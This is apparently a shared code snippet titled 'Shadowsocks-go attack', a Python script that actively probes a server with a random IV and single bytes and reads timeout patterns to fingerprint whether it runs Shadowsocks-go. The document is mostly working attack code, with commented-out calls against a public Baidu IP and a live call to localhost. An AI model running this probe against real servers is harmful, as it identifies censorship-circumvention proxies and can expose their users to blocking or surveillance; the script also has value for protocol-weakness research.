xuanyuanaosheng
11/28/2016 - 3:35 AM

Shadowsocks-go attack

Shadowsocks-go attack

#!/usr/bin/env python
#-*- coding: utf-8 -*-

'''
Copyleft (c) 2016 breakwa11
https://github.com/breakwa11/shadowsocks-rss
'''

import socket
import traceback
import os

def compat_ord(s):
	if type(s) == int:
		return s
	return _ord(s)

def compat_chr(d):
	if bytes == str:
		return _chr(d)
	return bytes([d])

_ord = ord
_chr = chr
ord = compat_ord
chr = compat_chr

def to_bytes(s):
	if bytes != str:
		if type(s) == str:
			return s.encode('utf-8')
	return s

def to_str(s):
	if bytes != str:
		if type(s) == bytes:
			return s.decode('utf-8')
	return s

def random_string(length):
	return os.urandom(length)

def test_single(iv, ip, port, attack_data, timeout = 5):
	try:
		addrs = socket.getaddrinfo(ip, port, 0, socket.SOCK_STREAM, socket.SOL_TCP)
		af, socktype, proto, canonname, sa = addrs[0]
		s = socket.socket(af, socket.SOCK_STREAM)
		s.settimeout(timeout)
		s.connect(sa)
		s.send(iv + attack_data)
		ok = False
		try:
			ret = s.recv(1024)
		except socket.timeout:
			ok = True
		except:
			pass
		return ok
	except:
		pass

def scan(addr, port, iv_size):
	iv_ok = False
	extend_size = 6
	timeout = 0
	iv = random_string(iv_size)
	timeout_addr = []
	for i in range(16):
		req = iv + chr(i)
		ret = test_single(req, addr, port, b'')
		if ret is None and i == 0:
			print("Can not connect to %s:%d" % (addr, port))
			return None
		if ret:
			timeout_addr.append(i)
			if len(timeout_addr) > 3:
				break

	if len(timeout_addr) == 3:
		addrs = []
		addrs.append(timeout_addr[0] ^ timeout_addr[1])
		addrs.append(timeout_addr[0] ^ timeout_addr[2])
		addrs.append(timeout_addr[1] ^ timeout_addr[2])
		addrs.sort()
		if addrs[0] == 2 and addrs[1] == 5 and addrs[2] == 7:
			print("%s:%d is a Shadowsocks-go server, iv size is %d" % (addr, port, iv_size))
			return 1
	return 0

def test(addr, port):
	v1 = scan(addr, port, 16)
	if v1 == 1 or v1 is None: return
	#v1 = scan(addr, port, 12)
	#if v1: return
	v1 = scan(addr, port, 8)
	if v1: return
	print("%s:%d is an unknown server" % (addr, port))

if __name__ == '__main__':
	#test("123.125.114.144", 80) # test baidu
	#test("123.125.114.144", 443) # test baidu
	test("127.0.0.1", 10001)